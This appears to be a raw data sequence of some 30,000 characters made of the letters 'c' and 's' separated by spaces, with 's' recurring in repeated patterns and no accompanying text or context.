c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c s c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c c c c c c s c c s c s c c s c c c s c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c s c c s c s c c s c c c s c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c s c c s c s c c s c c c s c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c s c c s c s c c s c c c s c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c s c c s c s c c s c c c s c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c s c c s c s c c s c c c s c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c s c c s c s c c s c c c s c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c s c c c c c c c s c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c c c c c c c c s c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c c c c c c c c s c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c 